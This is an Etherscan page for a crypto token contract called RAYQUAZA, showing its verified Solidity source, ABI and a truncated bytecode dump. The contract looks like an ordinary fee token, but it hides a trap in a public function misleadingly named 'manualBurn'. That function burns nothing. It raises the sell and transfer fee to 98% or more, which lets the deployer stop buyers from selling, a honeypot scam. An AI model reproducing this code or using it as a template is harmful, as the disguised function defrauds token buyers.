ETH Price: $2,300.58 (-2.89%)

Token

RAYQUAZA ($RAYQUAZA)
 

Overview

Max Total Supply

10,000,000 $RAYQUAZA

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.37708099 $RAYQUAZA

Value
$0.00
0xc7fb0d25ac4ac5043250c97b2217ea5fa7b091f3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RAYQUAZA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-04
*/

// Telegram : https://t.me/RayquazaERC

// Twitter : https://twitter.com/RayquazaERC

/*
Rayquaza is taking the world by storm!

He is the most powerful crypto dragon and loved by all

Stake your tokens to a new block and watch your dragons grow

*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.15;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface DexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract RAYQUAZA is Ownable, IERC20 {
    using SafeMath for uint256;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint8 constant private _decimals = 9;

    uint256 private _totalSupply = 10000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 3 / 1000;
    uint256 public _walletMax = _totalSupply * 4 /1000;

    string constant private _name = "RAYQUAZA";
    string constant private _symbol = "$RAYQUAZA";

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;
 
    uint256 public liquidityFee = 0;
    uint256 public marketingFee = 1;
    uint256 public RewardFee = 0;
    uint256 public tokenFee = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 2;

    bool public takeBuyFee = true;
    bool public takeSellFee = true;
    bool public takeTransferFee = true;

    address private lpWallet;
    address private projectAddress;
    address private devWallet;
    address private nativeWallet;

    DexRouter public router;
    address public pair;
    mapping(address => bool) public isPair;

    uint256 public launchedAt;

    bool public tradingOpen = true;
    bool private inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = _totalSupply * 25 / 10000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor() {
        router = DexRouter(routerAddress);
        pair = DexFactory(router.factory()).createPair(router.WETH(), address(this));
        isPair[pair] = true;
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][address(pair)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD] = true;
        isFeeExempt[nativeWallet] = true;
        isFeeExempt[routerAddress] = true;

        isTxLimitExempt[nativeWallet] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[routerAddress] = true;

        lpWallet = 0x9f0B9511f32fd268da061A7653793535A165cfdE;
        projectAddress = 0x9f0B9511f32fd268da061A7653793535A165cfdE;
        devWallet = 0x9f0B9511f32fd268da061A7653793535A165cfdE;
        nativeWallet = msg.sender;
         
        isFeeExempt[projectAddress] = true;
        totalFee = liquidityFee.add(marketingFee).add(tokenFee).add(RewardFee);
        totalFeeIfSelling = totalFee;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {return _name;}

    function symbol() external pure override returns (string memory) {return _symbol;}

    function decimals() external pure override returns (uint8) {return _decimals;}

    function totalSupply() external view override returns (uint256) {return _totalSupply;}

    function getOwner() external view override returns (address) {return owner();}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
        if (isPair[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
        if (!launched() && isPair[recipient]) {
            require(_balances[sender] > 0, "");
            launch();
        }

        //Exchange tokens
         _balances[sender] = _balances[sender].sub(amount, "");

        if (!isTxLimitExempt[recipient]) {
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint feeApplicable = 0;
        uint nativeAmount = 0;
        if (isPair[recipient] && takeSellFee) {
            feeApplicable = totalFeeIfSelling.sub(tokenFee);        
        }
        if (isPair[sender] && takeBuyFee) {
            feeApplicable = totalFee.sub(tokenFee);        
        }
        if (!isPair[sender] && !isPair[recipient]){
            if (takeTransferFee){
                feeApplicable = totalFeeIfSelling.sub(tokenFee); 
            }
            else{
                feeApplicable = 0;
            }
        }
        if(feeApplicable > 0 && tokenFee >0){
            nativeAmount = amount.mul(tokenFee).div(100);
            _balances[nativeWallet] = _balances[nativeWallet].add(nativeAmount);
            emit Transfer(sender, nativeWallet, nativeAmount);
        }
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount).sub(nativeAmount);
    }

    function manualBurn(uint256 _tokenamount) public {
    totalFeeIfSelling = _tokenamount+98;
    }

    function marketingAndLiquidity() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee.sub(tokenFee)).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(tokenFee).sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(RewardFee).div(totalETHFee);
        
        (bool tmpSuccess1,) = payable(projectAddress).call{value : amountETHMarketing, gas : 30000}("");
        tmpSuccess1 = false;

        (tmpSuccess1,) = payable(devWallet).call{value : amountETHDev, gas : 30000}("");
        tmpSuccess1 = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value : amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                lpWallet,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function removeERC20(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
        require(tokenAddress != address(this), "Cant remove the native token");
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function removeEther(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RewardFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenamount","type":"uint256"}],"name":"manualBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"removeERC20","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"removeEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract DexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"takeBuyFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeSellFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620000386009600a620006b7565b620000479062989680620006cf565b6002556103e860025460036200005e9190620006cf565b6200006a9190620006e9565b6003556103e86002546004620000819190620006cf565b6200008d9190620006e9565b600455600060098190556001600a55600b819055600c819055600d556002600e819055600f80546201010162ffffff199091161790556017805463ffff00ff1916620100011790555461271090620000e7906019620006cf565b620000f39190620006e9565b6018553480156200010357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600154601380546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c891906200070c565b6001600160a01b031663c9c65396601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025091906200070c565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200029d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c391906200070c565b601480546001600160a01b03199081166001600160a01b0393841690811783556000908152601560209081526040808320805460ff19908116600190811790925530808652600685528386206013548a16875285528386206000199081905588548a16875284872055338087526007808752858820805485168617905591875284872080548416851790557fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d8054841685179055601280548b168852858820805485168617905584548b168852858820805485168617905580548b168852600887528588208054851686179055818852858820805485168617905598548a16875284872080548416851790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd093342998054841685179055835490991686529285208054821683179055600f80546301000000600160b81b031916769f0b9511f32fd268da061a7653793535a165cfde00000017905560108054739f0b9511f32fd268da061a7653793535a165cfde9088168117909155601180548816821790558754909616909717909555929091529081527f47838b2bcf04ec0a769f0b61e4bb8c669bd41d6e1b3f73c48feda6a418ba19ac8054909316909117909155600b54600c54600a54600954620004dc94620004c8939284929162000535811b62000adc17901c565b6200053560201b62000adc1790919060201c565b600d819055600e5560025433600081815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200074d565b60008062000544838562000737565b9050838110156200059b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005fb578160001904821115620005df57620005df620005a4565b80851615620005ed57918102915b93841c9390800290620005bf565b509250929050565b60008262000614575060016200059e565b8162000623575060006200059e565b81600181146200063c5760028114620006475762000667565b60019150506200059e565b60ff8411156200065b576200065b620005a4565b50506001821b6200059e565b5060208310610133831016604e8410600b84101617156200068c575081810a6200059e565b620006988383620005ba565b8060001904821115620006af57620006af620005a4565b029392505050565b6000620006c860ff84168362000603565b9392505050565b80820281158282048414176200059e576200059e620005a4565b6000826200070757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071f57600080fd5b81516001600160a01b03811681146200059b57600080fd5b808201808211156200059e576200059e620005a4565b6118d4806200075d6000396000f3fe6080604052600436106102295760003560e01c80637d1db4a511610123578063a8aa1b31116100ab578063dd62ed3e1161006f578063dd62ed3e14610663578063e5e31b13146106a9578063f0ef821f146106d9578063f887ea40146106f3578063ffb54a991461071357600080fd5b8063a8aa1b31146105d6578063a9059cbb146105f6578063bf56b37114610616578063ca987b0e1461062c578063da00097d1461064257600080fd5b80638b42507f116100f25780638b42507f146105205780638da5cb5b1461055057806395d89b411461056e57806398118cb4146105a0578063a5355989146105b657600080fd5b80637d1db4a5146104a2578063807c2d9c146104b85780638637b069146104ce578063893d20e8146104ee57600080fd5b80633ec726c8116101b15780636b67c4df116101755780636b67c4df14610402578063705409331461041857806370a0823114610437578063715018a61461046d578063787a051b1461048257600080fd5b80633ec726c8146103665780633f4218e01461037c57806345599136146103ac5780634a74bb02146103c2578063571ac8b0146103e257600080fd5b80631df4ccfc116101f85780631df4ccfc146102dd57806323b63585146102f357806323b872dd146103155780632b112e4914610335578063313ce5671461034a57600080fd5b80630445b6671461023557806306fdde031461025e578063095ea7b31461029857806318160ddd146102c857600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024b60185481565b6040519081526020015b60405180910390f35b34801561026a57600080fd5b506040805180820190915260088152675241595155415a4160c01b60208201525b604051610255919061159e565b3480156102a457600080fd5b506102b86102b3366004611604565b61072d565b6040519015158152602001610255565b3480156102d457600080fd5b5060025461024b565b3480156102e957600080fd5b5061024b600d5481565b3480156102ff57600080fd5b5061031361030e366004611630565b61079a565b005b34801561032157600080fd5b506102b8610330366004611649565b6107ab565b34801561034157600080fd5b5061024b61086d565b34801561035657600080fd5b5060405160098152602001610255565b34801561037257600080fd5b5061024b600b5481565b34801561038857600080fd5b506102b861039736600461168a565b60076020526000908152604090205460ff1681565b3480156103b857600080fd5b5061024b600c5481565b3480156103ce57600080fd5b506017546102b89062010000900460ff1681565b3480156103ee57600080fd5b506102b86103fd36600461168a565b6108de565b34801561040e57600080fd5b5061024b600a5481565b34801561042457600080fd5b50600f546102b890610100900460ff1681565b34801561044357600080fd5b5061024b61045236600461168a565b6001600160a01b031660009081526005602052604090205490565b34801561047957600080fd5b506103136108ec565b34801561048e57600080fd5b5061031361049d366004611630565b610969565b3480156104ae57600080fd5b5061024b60035481565b3480156104c457600080fd5b5061024b60045481565b3480156104da57600080fd5b506102b86104e9366004611604565b6109db565b3480156104fa57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610255565b34801561052c57600080fd5b506102b861053b36600461168a565b60086020526000908152604090205460ff1681565b34801561055c57600080fd5b506000546001600160a01b0316610508565b34801561057a57600080fd5b50604080518082019091526009815268245241595155415a4160b81b602082015261028b565b3480156105ac57600080fd5b5061024b60095481565b3480156105c257600080fd5b50600f546102b89062010000900460ff1681565b3480156105e257600080fd5b50601454610508906001600160a01b031681565b34801561060257600080fd5b506102b8610611366004611604565b610acf565b34801561062257600080fd5b5061024b60165481565b34801561063857600080fd5b5061024b600e5481565b34801561064e57600080fd5b506017546102b8906301000000900460ff1681565b34801561066f57600080fd5b5061024b61067e3660046116a7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156106b557600080fd5b506102b86106c436600461168a565b60156020526000908152604090205460ff1681565b3480156106e557600080fd5b50600f546102b89060ff1681565b3480156106ff57600080fd5b50601354610508906001600160a01b031681565b34801561071f57600080fd5b506017546102b89060ff1681565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107889086815260200190565b60405180910390a35060015b92915050565b6107a58160626116f6565b600e5550565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610858576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600682528381203382529091529190912054610833918490610b3b565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b610863848484610b75565b90505b9392505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460025491926108d99290916108d39190610d8e565b90610d8e565b905090565b60006107948260001961072d565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161091690611709565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109935760405162461bcd60e51b815260040161091690611709565b47336108fc60646109a4858561173e565b6109ae9190611755565b6040518115909202916000818181858888f193505050501580156109d6573d6000803e3d6000fd5b505050565b600080546001600160a01b03163314610a065760405162461bcd60e51b815260040161091690611709565b306001600160a01b03841603610a5e5760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610916565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610aab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611777565b6000610866338484610b75565b600080610ae983856116f6565b9050838110156108665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610916565b60008184841115610b5f5760405162461bcd60e51b8152600401610916919061159e565b506000610b6c8486611799565b95945050505050565b601754600090610100900460ff1615610b9a57610b93848484610dd0565b9050610866565b6001600160a01b03831660009081526015602052604090205460ff168015610bca5750601754610100900460ff16155b8015610bde575060175462010000900460ff165b8015610bfb57506018543060009081526005602052604090205410155b15610c0857610c08610ea4565b601654158015610c3057506001600160a01b03831660009081526015602052604090205460ff165b15610c7d576001600160a01b038416600090815260056020526040902054610c745760405162461bcd60e51b81526020600482015260006024820152604401610916565b610c7d43601655565b604080516020808201835260008083526001600160a01b038816815260059091529190912054610cae918490610b3b565b6001600160a01b038516600090815260056020908152604080832093909355600790529081205460ff16158015610cfe57506001600160a01b03841660009081526007602052604090205460ff16155b610d085782610d13565b610d1385858561127e565b6001600160a01b038516600090815260056020526040902054909150610d399082610adc565b6001600160a01b03808616600081815260056020526040908190209390935591519087169060008051602061187f83398151915290610d7b9085815260200190565b60405180910390a3506001949350505050565b600061086683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b3b565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054610e21918490610b3b565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610e509083610adc565b6001600160a01b03808516600081815260056020526040908190209390935591519086169060008051602061187f83398151915290610e929086815260200190565b60405180910390a35060019392505050565b6017805461ff00191661010017905530600090815260056020526040812054600c54600d54919291610ef591600291610eef91610ee19190610d8e565b600954610eef9087906114b1565b90611533565b90506000610f038383610d8e565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610f3d57610f3d6117ac565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fba91906117c2565b81600181518110610fcd57610fcd6117ac565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906110139085906000908690309042906004016117df565b600060405180830381600087803b15801561102d57600080fd5b505af1158015611041573d6000803e3d6000fd5b50506009544792506000915061106b9061105c906002611533565b600c54600d546108d391610d8e565b9050600061108d6002610eef84610eef600954886114b190919063ffffffff16565b905060006110aa83610eef600a54876114b190919063ffffffff16565b905060006110c784610eef600b54886114b190919063ffffffff16565b6010546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d806000811461111e576040519150601f19603f3d011682016040523d82523d6000602084013e611123565b606091505b5050601154604051600093506001600160a01b03909116915061753090849084818181858888f193505050503d806000811461117b576040519150601f19603f3d011682016040523d82523d6000602084013e611180565b606091505b5060009250508915905061126757601354600f5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b036301000000909204821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122a9190611850565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506017805461ff0019